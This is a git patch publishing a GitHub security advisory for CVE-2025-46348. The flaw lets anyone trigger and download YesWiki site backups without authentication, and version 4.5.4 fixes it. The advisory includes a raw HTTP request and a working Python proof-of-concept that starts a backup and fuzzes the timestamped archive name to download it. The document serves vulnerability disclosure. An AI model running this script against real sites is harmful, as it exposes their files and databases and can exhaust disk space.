From 278b48fedbe34018d53575d1bed31b6ef68f658e Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 29 Apr 2025 14:43:30 +0000 Subject: [PATCH] Publish GHSA-wc9g-6j9w-hr95 --- .../GHSA-wc9g-6j9w-hr95.json | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 advisories/github-reviewed/2025/04/GHSA-wc9g-6j9w-hr95/GHSA-wc9g-6j9w-hr95.json diff --git a/advisories/github-reviewed/2025/04/GHSA-wc9g-6j9w-hr95/GHSA-wc9g-6j9w-hr95.json b/advisories/github-reviewed/2025/04/GHSA-wc9g-6j9w-hr95/GHSA-wc9g-6j9w-hr95.json new file mode 100644 index 00000000000..561ad4e2fe9 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-wc9g-6j9w-hr95/GHSA-wc9g-6j9w-hr95.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-wc9g-6j9w-hr95", + "modified": "2025-04-29T14:41:31Z", + "published": "2025-04-29T14:41:31Z", + "aliases": [ + "CVE-2025-46348" + ], + "summary": "YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download", + "details": "### Summary\n\nThe request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. \n\nThe archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. \n\n### Details\n\nCreate an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: \n\n```\nPOST /?api/archives HTTP/1.1\nHost: localhost:8085\n\naction=startArchive¶ms%5Bsavefiles%5D=true¶ms%5Bsavedatabase%5D=true&callAsync=true\n```\nThen to retrieve it, make a simple `GET` request like to the correct URL: \n```\nhttp://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip\n```\nA malicious attacker could simply fuzz this filename.\n\n### PoC\nHere is a python script to fuzz this: \n\n```\n#!/usr/bin/env python3\n\nimport requests\nimport argparse\nimport datetime\nimport time\nfrom urllib.parse import urljoin\nfrom email.utils import parsedate_to_datetime\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n# Hardcoded proxy config for Burp Suite\nBURP_PROXIES = {\n \"http\": \"http://127.0.0.1:8080\",\n \"https\": \"http://127.0.0.1:8080\"\n}\n\ndef send_post_request(base_url, use_proxy=False):\n url = urljoin(base_url, \"/?api/archives\")\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\",\n }\n\n data = {\n \"action\": \"startArchive\",\n \"params[savefiles]\": \"true\",\n \"params[savedatabase]\": \"true\",\n \"callAsync\": \"true\"\n }\n\n proxies = BURP_PROXIES if use_proxy else None\n response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)\n print(f\"[+] Archive start response code: {response.status_code}\")\n\n server_date = response.headers.get(\"Date\")\n if server_date:\n ts = parsedate_to_datetime(server_date)\n print(f\"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC\")\n return ts\n else:\n print(\"[!] Server did not return a Date header, falling back to local UTC.\")\n return datetime.datetime.utcnow()\n\ndef try_download_files(base_url, timestamp, use_proxy=False):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\",\n }\n\n proxies = BURP_PROXIES if use_proxy else None\n print(\"[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...\")\n\n base_ts = timestamp + datetime.timedelta(hours=2)\n\n time.sleep(30) # delay to generate the archive\n\n for offset in range(-4, 15):\n ts = base_ts + datetime.timedelta(seconds=offset)\n filename = ts.strftime(\"%Y-%m-%dT%H-%M-%S_archive.zip\")\n url = urljoin(base_url, f\"/?api/archives/{filename}\")\n print(f\"[>] Trying: {url}\")\n r = requests.get(url, headers=headers, proxies=proxies, verify=False)\n\n if r.status_code == 200 and r.headers.get(\"Content-Type\", \"\").startswith(\"application/zip\"):\n print(f\"[✓] Archive found and downloaded: {filename}\")\n with open(filename, \"wb\") as f:\n f.write(r.content)\n return\n\n print(\"[!] No archive found within the fuzzed window.\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Trigger archive and fetch resulting file with timestamp fuzzing.\")\n parser.add_argument(\"host\", help=\"Base host URL, e.g., http://localhost:8085\")\n parser.add_argument(\"-p\", \"--proxy\", action=\"store_true\", help=\"Route requests through Burp Suite proxy at 127.0.0.1:8080\")\n args = parser.parse_args()\n\n ts = send_post_request(args.host, use_proxy=args.proxy)\n print(f\"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}\")\n\n try_download_files(args.host, ts, use_proxy=args.proxy)\n```\n\n### Impact\n\nDenial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives. \n\nSite Compromise - A malicious attacker can download the archive which will contain sensitive site information.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "yeswiki/yeswiki" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.5.4" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.5.3" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wc9g-6j9w-hr95" + }, + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/commit/0d4efc880a727599fa4f6d7a64cc967afe475530" + }, + { + "type": "PACKAGE", + "url": "https://github.com/YesWiki/yeswiki" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287", + "CWE-862" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-04-29T14:41:31Z", + "nvd_published_at": null + } +} \ No newline at end of file